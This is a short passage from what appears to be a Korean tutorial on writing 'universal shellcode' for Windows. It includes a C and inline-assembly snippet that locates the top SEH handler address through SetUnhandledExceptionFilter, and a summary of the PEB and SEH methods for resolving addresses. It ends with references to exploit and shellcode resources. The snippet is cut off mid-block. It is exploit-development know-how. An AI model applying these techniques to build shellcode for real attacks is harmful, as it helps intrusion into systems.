주소찾는프로그램 TOP SEH 주소찾는코드 중국넘이만듬 #include<windows.h> #include<stdio.h> void main(void) { // Search TOP SEH unsigned int *un; unsigned int sehaddr; HMODULE hk = LoadLibrary("kernel32"); un = (unsigned int *)GetProcAddress(hk, "SetUnhandledExceptionFilter"); // un = (int *)UnhandledExceptionFilter; _asm{ mov eax,un add eax,5 mov ebx,[eax] mov sehaddr, ebx printf("0x%x\ttop SEH\n\n", sehaddr); 19/20
정리!!!! 유니버셜쉘코드만드는방법왜유니버셜쉘코드가필요한가? 이전장에이야기되었듯쉘코드를변경해야하는데, 주소가다르기때문에주소 PEB 이용! PEB 이용방법 TOP SEH 이용! TOP SEH 이용방법 3. 참조문서및참고사이트 3.1 x86 Assembly Language Reference Manual 3.2 AmesianX s JPEG Exploit 3.3 Windows Bind Shellcode Analysis blksaint 3.4 Shellcoder s Handbook 20/20